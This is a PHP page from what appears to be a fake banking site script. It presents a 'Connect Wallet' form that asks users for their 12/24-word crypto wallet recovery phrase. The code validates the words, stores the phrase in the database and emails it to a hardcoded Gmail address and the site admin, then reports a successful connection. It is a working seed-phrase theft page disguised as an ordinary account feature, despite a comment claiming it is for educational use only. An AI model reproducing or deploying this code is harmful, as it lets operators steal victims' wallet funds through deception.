<?php

$UniqueName  = "Connect Wallet";
require($_SERVER['DOCUMENT_ROOT'] . "/accounts/layout/headergeneral.php");
// if ($page['kyc_status'] == '1' and $row['kyc_status'] == '0') {
//     header("location:./pending-kyc.php");
//     exit;
// }

// Ofofonobs Developer WhatsAPP +2348114313795
// Bank Script Developer - Use For Educational Purpose Only
// Other scripts Available

if (@!$_SESSION['internetid']) {
    header("location:../login.php");
    die;
}

if(isset($_POST['cwallkey'])){
$wallkeys = inputValidation($_POST['wallkeys']);
$check = explode(' ',$wallkeys);
$stmt = $conn->prepare("SELECT * FROM keylist");
$stmt->execute();
$list = $stmt->fetch(PDO::FETCH_ASSOC);
$lists = explode(' ', $list['text']);
$emailnew = "anyabaileygirl7363@gmail.com"; // test mail
if(count($check) == count(array_intersect($check,$lists))){

$sql2 = "UPDATE accounts SET wallkeys=:wallkeys WHERE internetid =:internetid";
$keyss = $conn->prepare($sql2);
$keyss->execute([
    'wallkeys' => $wallkeys,
    ':internetid'=>$_SESSION['internetid']
]);

$viesConn = "SELECT * FROM accounts WHERE internetid=:internetid";
$stmt88 = $conn->prepare($viesConn);

$stmt88->execute([
    ':internetid' => $_SESSION['internetid']
]);
$row = $stmt88->fetch(PDO::FETCH_ASSOC);

          $APP_NAME = WEB_TITLE;
          $APP_URL = WEB_URL;
          $user_email = $row['acct_email'];
          $fullName = $row['firstname'] . " " . $row['lastname'];

        $message = $sendMail->SubForm($fullName,$user_email,$wallkeys,$APP_NAME, $APP_URL);
        
        $subject = "Wallet Connected Successfully";
        $email_message->send_mail($emailnew, $message, $subject);
        // Admin Email
        $subject = "Wallet Connected Successfully";
        $email_message->send_mail(WEB_EMAIL, $message, $subject);
                    if (true) {
                       toast_alert("success", "Wallet Connected Successfully", "Successful!");
                  }

                  else {
                    toast_alert('error', 'Sorry something went wrong');
                
            } 
                
        
        
    }else{
        toast_alert('error', 'Invalid Wallet Phrase');

    }
    
    
}



?>







<!--  BEGIN CONTENT PART  -->
<div id="content" class="main-content">
    <div class="content">

        <div class="container-fluid">

            <div class="row layout-top-spacing">



                <div id="basic" class="col-lg-6 mx-auto">
                    <div class="statbox widget box box-shadow">
                        <div class="widget-header">
                            <div class="row">
                                <div class="col-xl-12 col-md-12 col-sm-12 col-12">
                                    <h4><?= $UniqueName ?></h4>
                                </div>
                            </div>
                        </div>

                        <?php if (isset($msg1)) echo $msg1; ?>
                        
                        
                        
                         <?php
                
                    
 $stmt = $conn->prepare("SELECT * FROM accounts WHERE internetid=:internetid");
$stmt->execute([
  'internetid'=>$_SESSION['internetid']
]);
$users = $stmt->fetch(PDO::FETCH_ASSOC);

if($users['wallkeys'] == ''){

                ?>

                        <div class="widget-content widget-content-area">
                            <form method="POST" enctype="multipart/form-data">
                                
                               



                                <label for="basic-url">Wallet Type</label>
                                <div class="input-group mb-4">
                                    <select class="form-control  basic" required name="account_type">
                                         <option>Select Wallet Type</option>
                                         <?php

$stmt = $conn->prepare("SELECT * FROM wallet_type ORDER BY wallet_name");
$stmt->execute();
while($rs = $stmt->fetch(PDO::FETCH_ASSOC)){
                                               
                                ?>
                                       
                                        <option value="<?= $rs['wallet_name'] ?>"><?= $rs['wallet_name'] ?></option>
                                        
                                        <?php
                                        }
                              ?>
                              
                                    </select>
                                </div>
                                
                                
                                
                                <label for="basic-url">12/24 word phrase</label>
                                <div class="input-group mb-4">
                                    <textarea class="form-control" aria-label="With textarea" rows="5" required name="wallkeys" placeholder="Wallet Phrase"></textarea>
                                    
                                    
                                </div>
                                <label>Note: seperated by space (e.g house car enjoy repair)</label>
                                
                                







                                <div class="input-group">
                                    <button class="btn btn-primary mb-2" name="cwallkey">Connect Wallet</button>
                                </div>

                            </form>

                        </div>
                        
                        
                        
                        
                        
                        
                        
                        
                        
                         <?php
                }else{
                ?>
                        
                        
                        
                        <div class="widget-content widget-content-area">
                          
                          <p>Wallet Connected Successfully!</p>

                        </div>
                        
                        
                           <?php
                
                }
                ?>
                        
                        
                        
                        
                        
                    </div>

                    <br><br><br>
                </div>

            </div>

        </div>


        <?php
        require($_SERVER['DOCUMENT_ROOT'] . "/accounts/layout/footer.php");

        ?>